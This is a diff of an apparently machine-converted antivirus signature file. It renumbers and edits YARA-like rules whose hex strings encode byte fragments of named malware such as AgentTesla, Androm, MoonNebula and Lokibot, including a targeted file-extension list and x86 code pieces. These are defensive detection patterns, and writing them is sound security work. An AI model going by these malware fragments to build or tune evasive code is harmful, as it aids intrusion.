+221743,7 @@ rule _InfrastructureShared_17417{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*114) >=3 } -rule _InfrastructureShared_17418{ +rule _InfrastructureShared_18555{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -207959,7 +221754,7 @@ rule _InfrastructureShared_17418{ ((#a_54_0 & 1)*18467+(#a_58_1 & 1)*23816) >=3 } -rule _InfrastructureShared_17419{ +rule _InfrastructureShared_18556{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -207973,7 +221768,7 @@ rule _InfrastructureShared_17419{ ((#a_46_0 & 1)*16675+(#a_46_1 & 1)*28521+(#a_00_2 & 1)*92+(#a_2f_3 & 1)*13166+(#a_65_4 & 1)*28233) >=3 } -rule _InfrastructureShared_17420{ +rule _InfrastructureShared_18557{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 0b 00 21 " @@ -207990,7 +221785,7 @@ rule _InfrastructureShared_17420{ ((#a_46_0 & 1)*16675+(#a_5c_1 & 1)*7936+(#a_64_2 & 1)*21803+(#a_01_3 & 1)*30836+(#a_74_4 & 1)*25959+(#a_01_8 & 1)*9216+(#a_65_9 & 1)*29301+(#a_5a_10 & 1)*16762) >=3 } -rule _InfrastructureShared_17421{ +rule _InfrastructureShared_18558{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -208002,7 +221797,7 @@ rule _InfrastructureShared_17421{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*0+(#a_00_3 & 1)*0) >=4 } -rule _InfrastructureShared_17422{ +rule _InfrastructureShared_18559{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -208015,7 +221810,7 @@ rule _InfrastructureShared_17422{ ((#a_46_0 & 1)*16675+(#a_09_1 & 1)*14637+(#a_25_2 & 1)*29810+(#a_2d_3 & 1)*31277) >=4 } -rule _InfrastructureShared_17423{ +rule _InfrastructureShared_18560{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -208028,7 +221823,7 @@ rule _InfrastructureShared_17423{ ((#a_46_0 & 1)*16675+(#a_2c_1 & 1)*2+(#a_6c_2 & 1)*8309+(#a_4b_3 & 1)*24940) >=4 } -rule _InfrastructureShared_17424{ +rule _InfrastructureShared_18561{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -208039,7 +221834,7 @@ rule _InfrastructureShared_17424{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*19456) >=4 } -rule _InfrastructureShared_17425{ +rule _InfrastructureShared_18562{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -208049,7 +221844,7 @@ rule _InfrastructureShared_17425{ ((#a_54_0 & 1)*18467) >=4 } -rule _InfrastructureShared_17426{ +rule _InfrastructureShared_18563{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -208059,7 +221854,7 @@ rule _InfrastructureShared_17426{ ((#a_54_0 & 1)*18467) >=4 } -rule _InfrastructureShared_17427{ +rule _InfrastructureShared_18564{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -208072,7 +221867,7 @@ rule _InfrastructureShared_17427{ ((#a_46_0 & 1)*16675+(#a_09_1 & 1)*31277+(#a_2d_3 & 1)*2305+(#a_41_4 & 1)*12851) >=4 } -rule _InfrastructureShared_17428{ +rule _InfrastructureShared_18565{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -208086,7 +221881,7 @@ rule _InfrastructureShared_17428{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*108+(#a_00_2 & 1)*326+(#a_20_3 & 1)*28265+(#a_2b_4 & 1)*4886) >=5 } -rule _InfrastructureShared_17429{ +rule _InfrastructureShared_18566{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -208100,7 +221895,7 @@ rule _InfrastructureShared_17429{ ((#a_54_0 & 1)*18467+(#a_2b_1 & 1)*4886+(#a_11_2 & 1)*10795+(#a_00_3 & 1)*400+(#a_12_4 & 1)*4874) >=5 } -rule _InfrastructureShared_17430{ +rule _InfrastructureShared_18567{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -208115,7 +221910,7 @@ rule _InfrastructureShared_17430{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*102+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_2e_6 & 1)*0) >=5 } -rule _InfrastructureShared_17431{ +rule _InfrastructureShared_18568{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 21 " @@ -208126,7 +221921,7 @@ rule _InfrastructureShared_17431{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*11776) >=6 } -rule _InfrastructureShared_17432{ +rule _InfrastructureShared_18569{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -208139,7 +221934,7 @@ rule _InfrastructureShared_17432{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*119+(#a_00_3 & 1)*115+(#a_00_5 & 1)*63) >=6 } -rule _InfrastructureShared_17433{ +rule _InfrastructureShared_18570{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -208150,7 +221945,7 @@ rule _InfrastructureShared_17433{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*0) >=6 } -rule _InfrastructureShared_17434{ +rule _InfrastructureShared_18571{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -208168,7 +221963,7 @@ rule _InfrastructureShared_17434{ ((#a_54_0 & 1)*18467+(#a_5c_1 & 1)*-32492+(#a_65_2 & 1)*28005+(#a_72_3 & 1)*385+(#a_69_4 & 1)*29543+(#a_6f_5 & 1)*385+(#a_33_6 & 1)*26478+(#a_6b_7 & 1)*385+(#a_00_9 & 1)*108) >=10 } -rule _InfrastructureShared_17435{ +rule _InfrastructureShared_18572{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -208186,7 +221981,7 @@ rule _InfrastructureShared_17435{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*28508+(#a_2e_2 & 1)*25966+(#a_70_3 & 1)*19823+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_2f_9 & 1)*0) >=10 } -rule _InfrastructureShared_17436{ +rule _InfrastructureShared_18573{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,20 00 20 00 07 00 21 " @@ -208199,7 +221994,7 @@ rule _InfrastructureShared_17436{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*112+(#a_00_3 & 1)*112+(#a_00_5 & 1)*12152) >=32 } -rule _InfrastructureShared_17437{ +rule _InfrastructureShared_18574{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -208212,7 +222007,7 @@ rule _InfrastructureShared_17437{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*48+(#a_00_2 & 1)*31277+(#a_09_3 & 1)*6544) >=1 } -rule _InfrastructureShared_17438{ +rule _InfrastructureShared_18575{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -208226,7 +222021,7 @@ rule _InfrastructureShared_17438{ ((#a_70_0 & 1)*16675+(#a_6d_1 & 1)*29281+(#a_72_2 & 1)*25888+(#a_32_3 & 1)*29287+(#a_61_4 & 1)*11585) >=2 } -rule _InfrastructureShared_17439{ +rule _InfrastructureShared_18576{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -208237,7 +222032,7 @@ rule _InfrastructureShared_17439{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*114) >=3 } -rule _InfrastructureShared_17440{ +rule _InfrastructureShared_18577{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -208250,7 +222045,7 @@ rule _InfrastructureShared_17440{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*29816+(#a_65_2 & 1)*21369+(#a_23_3 & 1)*6) >=3 } -rule _InfrastructureShared_17441{ +rule _InfrastructureShared_18578{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -208265,7 +222060,7 @@ rule _InfrastructureShared_17441{ ((#a_46_0 & 1)*16675+(#a_c0_1 & 1)*-16253+(#a_29_2 & 1)*31605+(#a_71_3 & 1)*27749+(#a_34_4 & 1)*28265+(#a_04_5 & 1)*829) >=3 } -rule _InfrastructureShared_17442{ +rule _InfrastructureShared_18579{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -208280,7 +222075,7 @@ rule _InfrastructureShared_17442{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*144+(#a_08_2 & 1)*15619+(#a_8d_3 & 1)*257+(#a_30_4 & 1)*400+(#a_48_5 & 1)*841) >=3 } -rule _InfrastructureShared_17443{ +rule _InfrastructureShared_18580{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -208293,7 +222088,7 @@ rule _InfrastructureShared_17443{ ((#a_54_0 & 1)*18467+(#a_09_1 & 1)*5729+(#a_03_2 & 1)*1809+(#a_17_3 & 1)*4362) >=4 } -rule _InfrastructureShared_17444{ +rule _InfrastructureShared_18581{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -208306,7 +222101,7 @@ rule _InfrastructureShared_17444{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*32010+(#a_51_2 & 1)*19566+(#a_61_3 & 1)*12082) >=4 } -rule _InfrastructureShared_17445{ +rule _InfrastructureShared_18582{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -208317,7 +222112,7 @@ rule _InfrastructureShared_17445{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*107) >=4 } -rule _InfrastructureShared_17446{ +rule _InfrastructureShared_18583{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -208330,7 +222125,7 @@ rule _InfrastructureShared_17446{ ((#a_72_0 & 1)*22051+(#a_00_1 & 1)*111+(#a_00_2 & 1)*97+(#a_54_4 & 1)*22337) >=4 } -rule _InfrastructureShared_17447{ +rule _InfrastructureShared_18584{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 0b 00 21 " @@ -208348,7 +222143,7 @@ rule _InfrastructureShared_17447{ ((#a_77_0 & 1)*16675+(#a_65_1 & 1)*24932+(#a_6d_2 & 1)*24946+(#a_e8_4 & 1)*-31545+(#a_48_6 & 1)*13824+(#a_44_7 & 1)*19520+(#a_24_8 & 1)*-14552+(#a_6e_9 & 1)*22330+(#a_70_10 & 1)*29283) >=4 } -rule _InfrastructureShared_17448{ +rule _InfrastructureShared_18585{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -208360,7 +222155,7 @@ rule _InfrastructureShared_17448{ ((#a_4c_0 & 1)*21539+(#a_f4_3 & 1)*-31545+(#a_c7_4 & 1)*-16335) >=5 } -rule _InfrastructureShared_17449{ +rule _InfrastructureShared_18586{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -208374,7 +222169,7 @@ rule _InfrastructureShared_17449{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*29808+(#a_64_2 & 1)*29808+(#a_52_4 & 1)*21320+(#a_00_6 & 1)*22272) >=5 } -rule _InfrastructureShared_17450{ +rule _InfrastructureShared_18587{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -208389,7 +222184,7 @@ rule _InfrastructureShared_17450{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*11016+(#a_08_2 & 1)*22551+(#a_69_3 & 1)*385+(#a_3a_4 & 1)*19521+(#a_64_5 & 1)*24954) >=6 } -rule _InfrastructureShared_17451{ +rule _InfrastructureShared_18588{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 09 00 21 " @@ -208407,7 +222202,7 @@ rule _InfrastructureShared_17451{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*30821+(#a_5c_2 & 1)*29793+(#a_65_3 & 1)*27745+(#a_74_4 & 1)*26113+(#a_25_5 & 1)*29797+(#a_65_6 & 1)*26214+(#a_01_7 & 1)*30720+(#a_24_8 & 1)*-32475) >=6 } -rule _InfrastructureShared_17452{ +rule _InfrastructureShared_18589{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -208422,7 +222217,7 @@ rule _InfrastructureShared_17452{ ((#a_46_0 & 1)*21283+(#a_74_1 & 1)*8307+(#a_00_2 & 1)*30060+(#a_65_3 & 1)*384+(#a_00_5 & 1)*1+(#a_72_6 & 1)*14918) >=7 } -rule _InfrastructureShared_17453{ +rule _InfrastructureShared_18590{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -208439,7 +222234,7 @@ rule _InfrastructureShared_17453{ ((#a_46_0 & 1)*16675+(#a_4b_1 & 1)*-32489+(#a_6b_2 & 1)*24916+(#a_6d_3 & 1)*20014+(#a_6c_4 & 1)*25940+(#a_54_5 & 1)*274+(#a_34_6 & 1)*14660+(#a_72_7 & 1)*29541) >=8 } -rule _InfrastructureShared_17454{ +rule _InfrastructureShared_18591{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -208455,7 +222250,7 @@ rule _InfrastructureShared_17454{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*29801+(#a_44_2 & 1)*17734+(#a_73_3 & 1)*21038+(#a_6f_4 & 1)*28520+(#a_73_5 & 1)*29300+(#a_00_7 & 1)*1) >=8 } -rule _InfrastructureShared_17455{ +rule _InfrastructureShared_18592{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -208471,7 +222266,7 @@ rule _InfrastructureShared_17455{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*26989+(#a_6c_2 & 1)*26996+(#a_64_3 & 1)*28524+(#a_69_4 & 1)*11890+(#a_6c_6 & 1)*30209+(#a_00_7 & 1)*21581) >=8 } -rule _InfrastructureShared_17456{ +rule _InfrastructureShared_18593{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -208488,7 +222283,7 @@ rule _InfrastructureShared_17456{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*27749+(#a_5c_2 & 1)*25714+(#a_72_3 & 1)*30061+(#a_65_4 & 1)*29295+(#a_73_5 & 1)*29551+(#a_4d_6 & 1)*9587+(#a_63_7 & 1)*30063) >=8 } -rule _InfrastructureShared_17457{ +rule _InfrastructureShared_18594{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -208503,7 +222298,7 @@ rule _InfrastructureShared_17457{ ((#a_54_0 & 1)*18467+(#a_5c_1 & 1)*-32486+(#a_79_2 & 1)*27748+(#a_6d_3 & 1)*9527+(#a_54_6 & 1)*8448+(#a_75_7 & 1)*25448) >=8 } -rule _InfrastructureShared_17458{ +rule _InfrastructureShared_18595{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -208520,7 +222315,7 @@ rule _InfrastructureShared_17458{ ((#a_4c_0 & 1)*21539+(#a_6f_1 & 1)*26689+(#a_01_2 & 1)*6912+(#a_4d_3 & 1)*21076+(#a_06_4 & 1)*-3297+(#a_00_5 & 1)*1537+(#a_00_6 & 1)*29541+(#a_49_7 & 1)*20737) >=8 } -rule _InfrastructureShared_17459{ +rule _InfrastructureShared_18596{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 09 00 21 " @@ -208538,7 +222333,7 @@ rule _InfrastructureShared_17459{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*283+(#a_47_2 & 1)*23113+(#a_72_3 & 1)*28531+(#a_32_4 & 1)*28265+(#a_69_5 & 1)*28021+(#a_5c_6 & 1)*-32484+(#a_74_7 & 1)*26990+(#a_48_8 & 1)*8448) >=8 } -rule _InfrastructureShared_17460{ +rule _InfrastructureShared_18597{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -208554,7 +222349,7 @@ rule _InfrastructureShared_17460{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*30209+(#a_63_2 & 1)*31068+(#a_53_3 & 1)*8993+(#a_00_5 & 1)*110+(#a_00_6 & 1)*115+(#a_52_8 & 1)*21320) >=9 } -rule _InfrastructureShared_17461{ +rule _InfrastructureShared_18598{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 06 00 21 " @@ -208568,7 +222363,7 @@ rule _InfrastructureShared_17461{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*78+(#a_00_3 & 1)*58+(#a_01_4 & 1)*1+(#a_2f_5 & 1)*0) >=10 } -rule _InfrastructureShared_17462{ +rule _InfrastructureShared_18599{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0a 00 21 " @@ -208576,16 +222371,27 @@ rule _InfrastructureShared_17462{ $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 4b 56 35 39 21 4d 54 42 00 02 00 26 02 08 07 11 07 9a 1f 10 28 90 01 01 00 00 0a b4 6f 90 01 01 00 00 0a 90 02 02 11 07 17 d6 13 07 11 07 11 06 31 90 00 01 00 06 81 01 49 } //18467 $a_6b_1 = {01 00 07 81 01 52 65 76 65 72 73 65 01 00 07 81 01 47 65 74 54 79 70 65 01 00 07 81 01 52 65 70 6c 61 63 65 01 00 17 81 01 4f 4f 50 43 6f 72 65 2e 46 6f 72 6d 31 2e 72 65 73 6f 75 72 63 65 73 01 00 1f 81 01 4f 4f 50 43 6f 72 65 2e 54 69 63 6b 65 74 4d 61 6e 61 67 65 72 2e 72 65 73 6f 75 72 63 65 73 01 00 21 81 01 4f 4f 50 43 6f 72 } //30318 $a_65_2 = {6f 6c 76 65 64 54 69 63 6b 65 74 73 2e 72 65 73 6f 75 72 63 65 73 02 00 2d 81 01 44 40 40 40 56 34 30 40 40 56 31 30 40 40 40 40 56 33 30 56 38 37 40 40 40 56 33 36 56 32 37 56 33 37 56 32 37 56 45 32 56 30 36 40 40 01 00 08 81 01 44 65 6c 65 74 } //11877 - $a_00_3 = {00 78 30 01 00 02 00 02 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 6f 6f 6e 4e 65 62 75 6c 61 2e 41 21 64 68 61 00 01 00 50 01 2a 00 2e 00 74 00 78 00 74 00 2e 00 64 00 6f 00 } //19813 - $a_00_4 = {64 00 6f 00 63 00 78 00 2e 00 70 00 64 00 66 00 2e 00 78 00 6c 00 73 00 78 00 2e 00 78 00 6c 00 73 00 2e 00 70 00 6e 00 67 00 2e 00 6a 00 } //99 docx.pdf.xlsx.xls.png.j - $a_00_5 = {2e 00 6a 00 70 00 65 00 67 00 01 00 90 01 43 00 24 00 7c 00 44 00 24 00 7c 00 45 00 24 00 7c 00 46 00 24 00 7c 00 47 00 24 00 7c 00 48 00 24 00 7c 00 49 00 24 00 7c 00 4a 00 24 00 7c 00 4b 00 24 00 7c 00 4c 00 24 00 7c 00 4d 00 24 00 7c 00 4e 00 24 00 7c 00 4f 00 24 00 7c 00 50 00 24 00 7c 00 51 00 24 00 7c } //101 - $a_00_7 = {24 00 7c 00 54 00 24 00 7c 00 55 00 24 00 7c 00 56 00 24 00 7c 00 57 00 24 00 7c 00 58 00 24 00 7c 00 59 00 24 00 7c 00 5a 00 24 00 7c 00 01 00 18 01 00 00 5b 00 2a 00 5d 00 25 00 73 00 20 00 6f 00 70 00 65 00 6e 00 0a 00 00 00 78 30 01 00 02 00 02 } //124 - $a_3a_9 = {32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 46 6f 75 64 72 65 5f 42 61 63 6b 64 6f 6f 72 5f 43 6f 6d 70 6f 6e 65 6e 74 5f 31 00 01 00 0f 01 50 72 6f 6a 65 63 74 31 2e 64 6c 6c 00 44 31 01 00 72 03 77 00 69 } //19521 + $a_00_3 = {00 78 2f 01 00 3c 00 3c 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 6e 64 72 6f 6d 2e 4d 52 21 4d 54 42 00 0a 00 51 03 6a 00 8d 85 0c ef ff ff c7 85 08 ef ff ff 00 00 00 00 50 } //19813 + $a_ef_4 = {ff c7 85 0c ef ff ff 04 } //-31347 + $a_01_7 = {04 6a 00 68 80 00 00 00 6a 02 6a 00 6a 00 68 00 00 00 40 57 ff 15 90 01 04 8b f8 83 ff ff 75 0e 56 90 00 0a 00 47 03 83 c4 0c c7 85 40 ff ff ff 90 01 02 45 00 83 3d d8 12 46 00 08 be 90 01 04 c7 45 b0 00 00 00 00 0f 43 35 90 01 04 c7 45 d0 00 00 00 00 c7 45 d4 00 00 00 00 c7 45 d8 00 00 00 00 c6 45 fc 01 8d 85 44 ff ff ff 90 00 28 00 62 01 c7 45 a4 20 00 47 00 c7 45 a8 65 00 63 00 c7 45 ac 6b 00 6f 00 c7 45 b0 29 00 20 00 c7 45 } //5631 + $a_72_9 = {6f 00 c7 45 bc 6d 00 65 00 c7 45 c0 2f 00 39 00 c7 45 c4 31 00 2e 00 c7 45 c8 30 00 2e 00 c7 45 cc 34 00 34 00 c7 45 d0 37 00 32 00 c7 45 d4 2e 00 31 00 c7 45 d8 32 00 34 00 00 00 78 30 01 00 02 00 02 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 6f 6f 6e 4e 65 62 75 6c 61 2e 41 21 64 68 61 00 01 00 50 01 2a 00 2e 00 74 00 78 00 74 00 2e 00 64 00 6f 00 63 00 2e 00 64 00 6f 00 63 00 78 00 2e 00 70 00 64 00 66 00 2e 00 78 00 6c 00 73 00 78 00 2e 00 78 00 6c 00 73 00 2e 00 70 00 6e 00 67 00 2e 00 6a 00 65 00 67 00 2e 00 6a 00 } //17863 condition: - ((#a_54_0 & 1)*18467+(#a_6b_1 & 1)*30318+(#a_65_2 & 1)*11877+(#a_00_3 & 1)*19813+(#a_00_4 & 1)*99+(#a_00_5 & 1)*101+(#a_00_7 & 1)*124+(#a_3a_9 & 1)*19521) >=12 + ((#a_54_0 & 1)*18467+(#a_6b_1 & 1)*30318+(#a_65_2 & 1)*11877+(#a_00_3 & 1)*19813+(#a_ef_4 & 1)*-31347+(#a_01_7 & 1)*5631+(#a_72_9 & 1)*17863) >=12 } -rule _InfrastructureShared_17463{ +rule _InfrastructureShared_18600{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,3c 00 3c 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 6e 64 72 6f 6d 2e 4d 52 21 4d 54 42 00 0a 00 51 03 6a 00 8d 85 0c ef ff ff c7 85 08 ef ff ff 00 00 00 00 50 8d 85 08 ef ff ff c7 85 0c ef ff ff 04 00 00 00 50 68 05 } //21539 + $a_56_1 = {15 90 01 04 6a 00 68 80 00 00 00 6a 02 6a 00 6a 00 68 00 00 00 40 57 ff 15 90 01 04 8b f8 83 ff } //0 + $a_56_2 = {00 0a 00 47 03 83 c4 0c c7 85 40 ff ff ff } //30207 + condition: + ((#a_4c_0 & 1)*21539+(#a_56_1 & 1)*0+(#a_56_2 & 1)*30207) >=60 + +} +rule _InfrastructureShared_18601{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -208597,7 +222403,7 @@ rule _InfrastructureShared_17463{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*115+(#a_00_2 & 1)*124) >=2 } -rule _InfrastructureShared_17464{ +rule _InfrastructureShared_18602{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -208608,7 +222414,24 @@ rule _InfrastructureShared_17464{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*103) >=2 } -rule _InfrastructureShared_17465{ +rule _InfrastructureShared_18603{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 08 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 75 67 61 72 53 70 6f 6f 6e 2e 48 21 64 68 61 00 01 00 20 80 01 47 65 74 49 6e 56 4d 41 72 74 69 66 61 63 74 73 50 72 6f 66 69 6c 65 42 6c 6f 62 41 73 79 6e 63 01 00 1b 80 01 50 69 6e 67 } //16675 + $a_65_1 = {65 74 77 6f 72 6b 53 65 72 76 69 63 65 41 73 79 6e 63 01 00 1a 80 01 4c 69 73 74 43 6f 6e 74 61 69 6e 65 72 73 43 6f 6d 6d 61 6e 64 41 73 79 6e 63 01 00 21 80 01 43 6f 6e 66 69 67 75 72 65 43 6f 6e 74 61 69 6e 65 72 4e 65 74 77 6f 72 6b 69 6e 67 41 73 79 6e 63 01 00 22 80 01 47 65 74 55 6e 65 6e 63 } //28494 + $a_74_2 = {64 43 63 66 46 6f 72 43 6f 6e 74 61 69 6e 65 72 41 73 79 6e 63 01 00 15 80 01 56 66 70 50 72 6f 63 65 73 73 54 75 70 6c 65 73 41 73 79 6e 63 01 00 1a 80 01 53 74 61 72 74 57 6f 6f 64 73 74 6f 63 6b 52 65 71 75 65 73 74 41 73 79 6e 63 01 00 15 80 01 44 75 6d 6d 79 48 74 74 70 52 65 71 75 65 73 74 41 73 79 6e 63 00 00 78 30 01 00 03 00 } //31090 + $a_00_3 = {21 23 41 } //3 !#A + $a_54_4 = {6f 6a 61 6e 3a 4d 53 49 4c 2f 4c 6f 6b 69 62 6f 74 2e 4d 46 50 21 4d 54 42 00 01 00 c5 02 26 00 16 3a 90 01 03 00 38 90 01 03 00 16 39 90 01 03 00 26 38 90 01 03 00 38 90 01 } //17996 + $a_90_5 = {03 00 00 38 90 01 03 00 6f 90 01 03 0a 73 90 01 03 0a 0d 00 73 90 01 03 0a 13 90 01 01 00 1a 2c 90 01 01 09 16 73 90 01 03 0a 73 90 01 03 0a 13 90 01 01 00 11 90 01 01 } //3 + $a_01_6 = {6f } //-28655 o + $a_0a_7 = {16 2d 90 } //400 + condition: + ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*28494+(#a_74_2 & 1)*31090+(#a_00_3 & 1)*3+(#a_54_4 & 1)*17996+(#a_90_5 & 1)*3+(#a_01_6 & 1)*-28655+(#a_0a_7 & 1)*400) >=2 + +} +rule _InfrastructureShared_18604{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -208620,7 +222443,7 @@ rule _InfrastructureShared_17465{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*2563+(#a_00_2 & 1)*10) >=3 } -rule _InfrastructureShared_17466{ +rule _InfrastructureShared_18605{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -208631,7 +222454,7 @@ rule _InfrastructureShared_17466{ ((#a_54_0 & 1)*18467+(#a_02_1 & 1)*32266) >=3 } -rule _InfrastructureShared_17467{ +rule _InfrastructureShared_18606{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 0b 00 21 " @@ -208649,7 +222472,7 @@ rule _InfrastructureShared_17467{ ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*384+(#a_01_2 & 1)*4608+(#a_6d_3 & 1)*29254+(#a_07_5 & 1)*4957+(#a_01_6 & 1)*-28561+(#a_0a_7 & 1)*2560+(#a_01_8 & 1)*10251+(#a_38_9 & 1)*13648) >=3 } -rule _InfrastructureShared_17468{ +rule _InfrastructureShared_18607{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " 